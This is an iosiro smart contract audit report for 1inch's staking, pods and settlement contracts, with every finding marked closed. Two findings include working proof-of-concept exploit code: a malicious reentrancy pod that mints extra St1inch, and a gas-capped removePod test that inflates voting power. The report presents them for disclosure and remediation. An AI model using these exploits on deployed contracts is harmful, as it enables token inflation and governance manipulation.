Limit Order Settlements

Smart Contract Audit

1inch Network

8 December 2022

Public

iosiro.com

1. Introduction

iosiro was commissioned by 1inch to conduct a smart contract audit of their Limit Order Settlement, ERC20Pods, and Delegating contracts.

The audit was performed from 31 October to 15 November 2022 by two auditors, consuming a total of 20 resource days. A retest of the reported issues was performed on 30 November 2022.

This report is organized into the following sections.

- **Section 2 - Executive summary:** A high-level description of the findings of the audit.
- **Section 3 - Audit details:** A description of the scope and methodology of the audit.
- **Section 4 - Design specification:** An outline of the intended functionality of the smart contracts.
- **Section 5 - Detailed findings:** Detailed descriptions of the findings of the audit.

The information in this report should be used to understand the smart contracts' risk exposure better and as a guide to improving the security posture of the smart contracts by remediating issues identified. The results of this audit reflect the in-scope source code reviewed at the time of the audit.

The purpose of this audit was to achieve the following:

- Identify potential security flaws.
- Ensure that the smart contracts function according to the documentation provided.

Assessing the off-chain functionality associated with the contracts, for example, backend web application code, was outside of the scope of this audit.

Due to the unregulated nature and ease of transfer of cryptocurrencies, operations that store or interact with these assets are considered high risk from cyber attacks. As such, the highest level of security should be observed

when interacting with these assets. This requires a forward-thinking approach, which takes into account the new and experimental nature of blockchain technologies. Strategies that should be used to encourage secure code development include:

- Security should be integrated into the development lifecycle, and the level of perceived security should not be limited to a single code audit.
- Defensive programming should be employed to account for unforeseen circumstances.
- Current best practices should be followed where possible.

2. Executive summary

This report presents the findings of a smart contract audit performed by iosiro, which covered 1inch's Limit Order Settlement and supporting contracts.

Two high-risk issues were identified during the assessment. The first allowed users to receive more staking tokens than they were entitled to. The second allowed users to bypass the staking contract's internal accounting. In the context of the provided code, a malicious actor would be able to arbitrarily increase their voting power in the `BasicDelegationPodWithVotingPower` contract.

Three low-risk and various informational issues were also identified. One of the low-risk issues was related to security awareness training for resolvers to prevent accidental loss of funds. Another low risk was due to the best-effort approach followed when maintaining balances. Several functions were identified that should emit events to improve the transparency and traceability of the protocol.

All the issues identified and reported were suitably addressed or mitigated by the conclusion of the audit. Overall, the code was found to be of a high standard and accord with the specification provided.

3. Audit details

3.1 Scope

The source code considered in-scope for the assessment is described below. Code from all other files was considered to be out-of-scope. Out-of-scope code that interacts with in-scope code was assumed to function as intended and not introduce any functional or security vulnerabilities for the purposes of this audit.

3.1.2 1inch Limit Order Settlements smart contracts

Project Name: limit-order-settlement

Commit: 117fac4

Final Commit: eba5d2c

Files: BasicDelegationTopicWithVotingPower.sol, FeeBank.sol, RewardableDelegationTopicWithVotingPower.sol, Settlement.sol, St1inch.sol, WhitelistRegistry.sol, VotingPowerCalculator.sol, WhitelistChecker.sol, OrderSaltParser.sol

3.1.3 1inch ERC20Pods smart contracts

Project Name: erc20-pods

Commit: 50b192a

Final Commit: 8c67b5e

Files: Pod.sol, ERC20Pods.sol

3.1.4 1inch Delegating smart contracts

Project Name: delegating

Commit: c8f4202

Final Commit: a86ae86

Files: BasicDelegationPod.sol, DelegatedShare.sol, RewardableDelegationPod.sol

3.2 Methodology

A variety of techniques were used in order to perform the audit. These techniques are briefly described below.

3.2.1 Code review

The source code was manually inspected to identify potential security flaws. Code review is a helpful approach for detecting security flaws, discrepancies between the specification and implementation, design improvements, and high-risk areas of the system.

3.2.2 Dynamic analysis

The contracts were compiled, deployed, and tested in a test environment, both manually and through the test suite provided. Manual analysis was used to confirm that the code was functional and to identify security issues that could be exploited.

3.2.3 Automated analysis

Tools were used to automatically detect the presence of several types of security vulnerabilities, including reentrancy, timestamp dependency bugs, and transaction-ordering dependency bugs. Static analysis results were

reviewed manually, and any false positives were removed. Any true positive results are included in this report.

Static analysis tools commonly used include Slither, Securify, and MythX. Tools such as the Remix IDE, compilation output, and linters could also be used to identify potential areas of concern.

3.3 Risk ratings

Each issue identified during the audit has been assigned a risk rating. The rating is determined based on the criteria outlined below.

- **High risk** - The issue could result in a loss of funds for the contract owner or system users.
- **Medium risk** - The issue resulted in the code specification being implemented incorrectly.
- **Low risk** - A best practice or design issue that could affect the security of the contract.
- **Informational** - A lapse in best practice or a suboptimal design pattern that has a minimal risk of affecting the security of the contract.
- **Closed** - The issue was identified during the audit and has since been satisfactorily addressed, removing the risk it posed.

4. Design specification

The following section outlines the system's intended functionality at a high level.

4.1 St1inch

The `St1inch` token is the staking token of the system (staked 1inch). It is obtained by depositing and locking `1inch` into the `St1inch` contract. The amount of `St1inch` tokens received is calculated using a curve that exponentially increases with the duration for which the tokens are locked. The `St1inch` contract implements 1inch's `ERC20Pods` contract, which allows extending the token's functionality using Pods. At the time of writing, it was understood that, through Pods, staked 1inch would be used for:

- Governance voting
- Rewards distributions
- Participation in limit order settlement

4.2 ERC20 Pods

The `St1inch` contract implements 1inch's `ERC20Pods` contract, which allows anybody to extend the use-case of the `St1inch` tokens. One such extension reviewed during the audit provided the ability for stakers to delegate their `St1inch` to delegatees that could vote on their behalf in governance. Stakers are allowed to add any pods to their account, but only up to a configurable limit. The pods system is intended to be permissionless, enabling anybody to extend the utility of the tokens.

4.3 Whitelist Registry

In addition to governance participation and reward farming, the `St1inch` token is also used directly by users to register themselves in the `WhitelistRegistry` contract. The whitelist registry holds the addresses of EOAs or smart contracts that are allowed to fill limit orders, and are known as resolvers. While anybody can stake their `1inch` to receive `St1inch`, the whitelist registry size is limited and only includes stakers with the highest voting power. Voting power is calculated as a function of an account's staked `1inch` balance and the staking period.

If a staker wishes to join the registry and become a resolver, they would need to have a voting power greater than that of the resolver with the lowest voting power on the registry, which they will replace.

4.4 Settlements

The `Settlement` contract allows resolvers to settle limit orders in batches, reducing gas cost overheads and the likelihood of frontrunning. Additionally, since orders are created off-chain and included in transactions by the Resolvers, Markers and Takers can avoid the gas costs associated with the Limit Order Protocol.

The contract's logic also extends the existing Limit Order Protocol to include a Dutch Auction mechanism. Makers can specify an initial starting price with a linear decay down to a minimum price. Since orders will be marked as private, with only the `Settlement` contract being able to fill the order, this additional pricing logic can be enforced.

Resolvers are required to pay a fee when settling orders, which is kept in the `FeeBank` contract. Instead of transferring the fees using an allowance, resolvers are required to deposit `St1inch` in the fee bank. The fees are then deducted from the resolver's deposit when settling orders. Only the `1inch` treasury can withdraw the accumulated fees.

5. Detailed findings

The following section includes in-depth descriptions of the findings of the audit.

5.1 High Risk

No high-risk issues were present at the conclusion of the audit.

5.2 Medium Risk

No medium-risk issues were present at the conclusion of the audit.

5.3 Low Risk

No low-risk issues were present at the conclusion of the audit.

5.4 Informational

No informational issues were present at the conclusion of the audit.

5.5 Closed

5.5.1 `St1inch` reentrancy (high-risk)

St1inch.sol#L148

Description

The `_deposit()` function in the `St1inch.sol` contract is not reentrant safe, which could be exploited to mint additional `St1inch` tokens without depositing additional `1inch` tokens. As a result, malicious actors would be able to increase their voting power beyond what their original deposit was worth.

An attacker could introduce a reentrancy vulnerability by developing, deploying, and enabling a malicious pod. When minting `St1inch` tokens, the `updateBalances()` function of the pod would be invoked, allowing the pod to reenter the `deposit` function and mint additional tokens.

The smart contract below was developed to prove the exploitability of the issue. The exploit can be tested by applying the diff provided to the `St1inch.js` test file.

```
contract Reentrancy {
    bool private _triggered = true;
    function setTriggered(bool triggered) external {
        _triggered = triggered;
    }
    function updateBalances(address, address to, uint256)
external {
        ISt1inch st1Inch = ISt1inch(msg.sender);
        if (!_triggered) {
            _triggered = true;
            st1Inch.depositFor(to, 0, 0);
        }
    }
}
```

```
diff --git a/test/St1inch.js b/test/St1inch.js
index 6698150..35b8b91 100644
--- a/test/St1inch.js
+++ b/test/St1inch.js
```

```
@@ -71,6 +71,27 @@ describe('St1inch', function () {
         chainId = await getChainId();
     });
+    it('triggers the reentrancy', async function() {
+        const { st1inch } = await loadFixture(initContracts);
+        const reentrancy = await (
+            await ethers.getContractFactory('Reentrancy')
+        ).deploy();
+        // attacker adds malicious Pod
+        await st1inch.addPod(reentrancy.address);
+
+        // attacker sets Pod to perform reentrancy attack
+        await reentrancy.setTriggered(false); // comment line
to disable reentrancy
+
+        // attacker deposits 1e18 1inch, triggers reentrancy
+        await st1inch.deposit(ether('1'),
time.duration.days('1'));
+
+        console.log(await st1inch.balanceOf(addr.address));
+        // balance with reentrancy: 200315693406282058
+        // balance without reentrancy: 100157844874897457
+
+    });
+
     it('should take users deposit', async function () {
         const { st1inch } = await loadFixture(initContracts);
```

Recommendation

Ideally, the function should make use of a type of reentrancy guard, such as the `ReentrancyGuard` contract provided by OpenZeppelin.

A possible solution would be to make use of the `_afterTokenTransfer()` function hook instead of the `_beforeTokenTransfer()`, ensuring that the accounts balances is first updated before invoking the `updateBalances()` function for each pod.

Alternatively, the function could be reworked to only update the `_deposited` state variable after the `mint` operation has been completed. An example implementation is shown below.

```
diff --git a/contracts/St1inch.sol b/contracts/St1inch.sol
index bdca5dc..bbf5a0f 100644
--- a/contracts/St1inch.sol
+++ b/contracts/St1inch.sol
@@ -149,19 +149,19 @@ contract St1inch is ERC20Pods, Ownable,
VotingPowerCalculator, IVotable {
     ) private {
         if (_deposits[account] > 0 &amp;amp;&amp;amp; amount > 0 &&
duration > 0) revert
ChangeAmountAndUnlockTimeForExistingAccount();

-        if (amount > 0) {
-            oneInch.transferFrom(msg.sender, address(this),
amount);
-            _deposits[account] += amount;
-            totalDeposits += amount;
-        }
-
         uint256 lockedTill = Math.max(_unlockTime[account],
block.timestamp) + duration;
         uint256 lockedPeriod = lockedTill - block.timestamp;
         if (lockedPeriod < MIN_LOCK_PERIOD) revert
LockTimeLessMinLock();
         if (lockedPeriod > MAX_LOCK_PERIOD) revert
LockTimeMoreMaxLock();
         _unlockTime[account] = lockedTill;

-        _mint(account, _balanceAt(_deposits[account],
lockedTill) / _VOTING_POWER_DIVIDER - balanceOf(account));
+        _mint(account, _balanceAt(_deposits[account] + amount,
lockedTill) / _VOTING_POWER_DIVIDER - balanceOf(account));
+
+        if (amount > 0) {
+            oneInch.transferFrom(msg.sender, address(this),
amount);
+            _deposits[account] += amount;
+            totalDeposits += amount;
+        }
     }

     /* solhint-enable not-rely-on-time */
```

Update

This issue was addressed in `ERC20Pods` by requiring the gas left to be greater than the `_POD_CALL_GAS_LIMIT` when calling `updateBalances`. Since `updateBalances` is called with a fixed gas limit, reentrance is not possible as the gas left on the second execution will be unable satisfy the gas requirement.

This change was implemented commit 63c8801.

5.5.2 `ERC20Pods` Insecure try-catch pattern (high-risk)

ERC20Pods.sol#101

Description

The `ERC20Pods._updateBalances()` function is responsible for calling the `updateBalances()` function of a given pod. The call is made at a low level, ignoring whether the call succeeds, similar to a try-catch pattern that ignores the exception. This pattern prevents malicious or non-conformant pods from reverting on transfers. However, it was found that this could enable users to remove pods, using `ERC20Pods.removePod()`, and bypass the internal accounting of the pod by limiting the gas allowance of calls to `removePod()`.

In the context of `RewardableDelegationPodWithVotingPower`, users could inflate their voting power and balances to an unbounded amount. Firstly, the user must enable the delegation pod for their account and delegate their tokens. After that, they could constrain the gas allowance given when removing a Pod, ensuring that the `updateBalances()` function reverts internally. The result would be that the pod is removed, but the balances of the delegatee within the `RewardableDelegationPodWithVotingPower` pod remains unchanged. The account could then re-add the pod, and repeat the process, doubling their voting power each time.

The following Solidity code was used to confirm the exploitability of the issue:

```
function testExploit() public {
    _1inch.approve(address(_st1inch), 100 ether);
    _st1inch.deposit(100 ether, 365 days);
    _st1inch.addPod(address(_delegation));

    _delegation.register("MyToken0", "MyToken0", 5, address(0));
    _delegation.delegate(address(this));

    uint256 votingPower =
_delegation.votingPowerOf(address(this));

    // constrain gas to cause `updateBalances` to revert
    _st1inch.removePod{gas: 8056}(address(_delegation));

    // _st1inch.removePod(address(_delegation));

    //require(_delegation.votingPowerOf(address(this)) == 0,
"voting power should be zero"); // fails as votingPowerOf
returns 17782793857578387308

    _st1inch.addPod(address(_delegation));

    //require(_delegation.votingPowerOf(address(this)) ==
votingPower, "voting power should be the same as before"); //
fails as votingPowerOf returns 35565587715156774616
}
```

As can be seen in the above proof-of-concept code, `removePod()` is called with a gas limit of 8056. The issue arises due to the `call` opcode capping the gas allowance to `63/64` of the gas available even when specifying a fixed gas allowance that exceeds the gas available.

Recommendation

To provide pods with the guarantee that out-of-gas exceptions will cause a revert, the gas left before the external call should be validated.

```
    /// @notice Assembly implementation of the gas limited call
to avoid return gas bomb,
    // moreover call to a destructed Pod would also revert even
inside try-catch block in Solidity 0.8.17
    /// @dev try IPod(pod).updateBalances{gas:
_POD_CALL_GAS_LIMIT}(from, to, amount) {} catch {}
    function _updateBalances(address Pod, address from, address
to, uint256 amount) private {
        bytes4 selector = IPod.updateBalances.selector;
        require(gasleft() >= (64 * _POD_CALL_GAS_LIMIT / 63),
"insufficient-gas");
        assembly {  // solhint-disable-line no-inline-assembly
            let ptr := mload(0x40)
            mstore(ptr, selector)
            mstore(add(ptr, 0x04), from)
            mstore(add(ptr, 0x24), to)
            mstore(add(ptr, 0x44), amount)
            pop(call(_POD_CALL_GAS_LIMIT, Pod, 0, ptr, 0x64, 0,
0))
        }
    }
```

Ideally, the above solution should include the gas costs of the assembly code block to ensure that each pod can fully utilize the gas allowance without reintroducing the vulnerability.

```
require(gasleft() >= (64 * _POD_CALL_GAS_LIMIT / 63) +
_GAS_OVERHEAD, "insufficient-gas");
```

Update

Validation of the remaining gas prior to calling `updateBalances` was introduced as per the recommendation in commit 63c8801.

5.5.3 Lack of resynchronization of Pod balances (low-risk)

ERC20Pods.sol#L72, *ERC20Pods.sol#L81*, *ERC20Pods.sol#L91*

Description

The `ERC20Pods::_updateBalances()` function performs a best-effort cross-contract call to all registered pods for the user when minting, burning or transferring tokens. Under perfect conditions, these balances should always be synchronized with the user's token balance. However, due to internal calls reverting or balances changing during an update, the tracked balances might drift. It was understood that the best-effort approach was implemented to minimize the gas costs associated with large scale token allocations, either from rewards or other airdrops.

Since the logic executed in each pod's `updateBalances()` function is unconstrained, it would most likely be possible to reenter the `ERC20Pods::_updateBalances()` function. This greatly increases the complexity of tracking the balances. Consequently, it would be beneficial to ensure that when adding or removing a pod the internal balances are specified in absolute amounts.

Recommendation

Introduce functionality to synchronize a user's token balance with the user's associated pods. If the internal balance of a pod were to be exposed, e.g. `IPod::balanceOf(address)`, functions such as `ERC20Pods::_removePod()`, `ERC20Pods::_removeAllPods()` and `ERC20Pods::_addPod()` could be modified to call `_updateBalances()` in a manner that ensures the resulting balance is correct.

Alternatively, additional functions to signify when a pod is added or removed should be defined in the `IPod` interface. For example, `IPod::register(address account, uint256 balance)` and

`IPod::unregister(address account)`. This would be synonymous with the logic for `BasicDelegationPod::_updateAccountingOnDelegate()`.

Ultimately, the pod specification could be extended to include keeper functions that synchronize the balances of pods and tokens.

Update

The 1inch team decided to not implement the recommendation as the changes made in commit 63c8801 provides additional guarantees that `updateBalances` hook will be executed for each Pod.

5.5.4 Arbitary calls (low-risk)

Settlement.sol#L100

Description

The `Settlement` contract is designed to allow resolvers to execute arbitrary calls to finalize limit order settlements. This poses a risk to other resolvers that do not strictly monitor and control their token allowances for the `Settlement` contract. A malicious resolver would be able to steal tokens from other resolvers that have any lingering allowances.

This could also happen if any resolver was coerced into interacting with a malicious contract, as the `settleOrdersEOA` enables other smart contracts to interact with the `Settlement` contract given the transaction is originated by a resolver.

Any tokens that remain in the `Settlement` contract would also be extractable by any of the resolvers.

Recommendation

Educating resolvers on the risk of lingering allowances is foremost in preventing the loss of funds. Resolvers should be aware of the potential

implications of the interaction functionality offered by the `Settlement` contract.

As an alternative, a standardized resolver contract could be developed. The contract would leverage the existing functionality but add safeguards to ensure that no tokens remain within the contract and that all allowances are cleared post settlement.

Update

The issue was resolved in commit 3f8c14 by introducing an `IResolver` interface with a `resolveOrders()` function which is called by the `Settlement` contract with the interaction data. The `Resolver` contract, rather than the `Settlement` contract, is expected to decode and execute the interaction data.

5.5.5 Missing events (low-risk)

WhitelistRegistry.sol#L67, *WhitelistRegistry.sol#L82*, *WhitelistRegistry.sol#L134*, *Settlement.sol#L185*, *Settlement.sol#L191*, *Settlement.sol#L198*

Description

Several sensitive actions, operations, and state changes did not emit events. Events aid in the visibility and transparency of contract state changes and enable users to track changes over time.

The following functions did not emit events:

- *`WhitelistRegistry::register()`*, *`WhitelistRegistry::_shrinkPoorest()`*, *`WhitelistRegistry::clean()`*: Without an event for when an account is removed from the registry it would be difficult for resolvers to monitor and maintain their position within the whitelist.
- *`Settlement::increaseCreditAllowance()`*, *`Settlement::decreaseCreditAllowance()`*: Currently, the fees paid by the resolvers are not recorded and can only be obtained by decoding

the limit order. Without an event, a resolver will require custom monitoring to track their allowances and fees paid.
- *`Settlement::setFeeBank()`*: It is regarded as best practice to emit events for privileged state modifications, providing transparency to users.

Additionally, the `Delegate` event in `IDelegationPod` does not specify any indexed parameters. Doing so would benefit users.

Recommendation

Events should be added to the affected functions to emit the state changes that are made. The events should also use sensible indexed fields, e.g. for addresses or discrete values.

Update

Events were introduced for all cases where an account is removed from the `WhitelistRegistry` in commit 0e85dcc.

A suitable event was added for `Settlement::setFeeBank()` in commit 4ff3c48 as per the recommendation.

The 1inch team confirmed that not emitting events for `Settlement::increaseCreditAllowance()` and `Settlement::decreaseCreditAllowance()` was intentional in order to minimize the gas cost of the `Settlement::settleOrders()` function.

5.5.6 `increaseAllowance()` and `decreaseAllowance()` not overridden (informational)

St1inch.sol, *DelegatedShare.sol*

Description

It was evident from the `St1inch.sol` and `DelegatedShare.sol` token contracts that they are not intended to be transferrable, as `transfer()`, `transferFrom()`, and `approve()` were overridden to revert when called. However, the `increaseAllowance()` and `decreaseAllowance()` `ERC20` methods were still available, allowing users to modify their allowances.

Recommendation

While setting an allowance does not enable tokens transfer, it is recommended that the internal `_transfer()` and `_approve()` functions are overridden. This will cause any attempt to modify a user's allowance to revert, as was the original intention.

Update

The functions were overridden as per the recommendation in commit 60d47a7 and commit e8c5e3f.

5.5.7 Redundant check when entering `_deposit()` (informational)

St1inch.sol#150

Description

The first check performed when the internal `_deposit()` function in `St1inch.sol` is called triggers a revert when a user attempts to update their deposited amount and duration. At the time of writing, this check seemed redundant, as users would be able to achieve this by calling `increaseAmount()` and `increaseLockDuration()` within the same transaction via a contract.

Recommendation

If this check is redundant, it should be removed. This should also result in a minor gas saving.

Update

The check was removed as per the recommendation in commit eba5d2c.

5.5.8 Design comments (informational)

Actions to improve the functionality and readability of the codebase are outlined below.

Gas optimization: immutables

`WhitelistChecker._limitOrderProtocol` should be marked as `immutable`. Immutable variables reduce the number of storage slots used by a contract, reducing the gas fees of subsequent transactions.

Further reading on immutables can be found here.

Update

The `immutable` keyword was added in commit 3f8c14.

Typos

- *St1inch.sol#L24*: `error UnlockTimeWasNotCome()` -> `error UnlockTimeHasNotCome()`.

Update

The event signature was updated in commit fd4ceca.

Naming convention

A number of the events should be renamed to clarify the state change that occurred:

- *WhitelistRegistry.sol#L22*: `SetResolverThreshold` -> `ResolverThresholdSet`
- *IDelegationPod.sol#L9*: `Delegate` -> `Delegated`

Update

The event signature was updated in commit 5b4067b.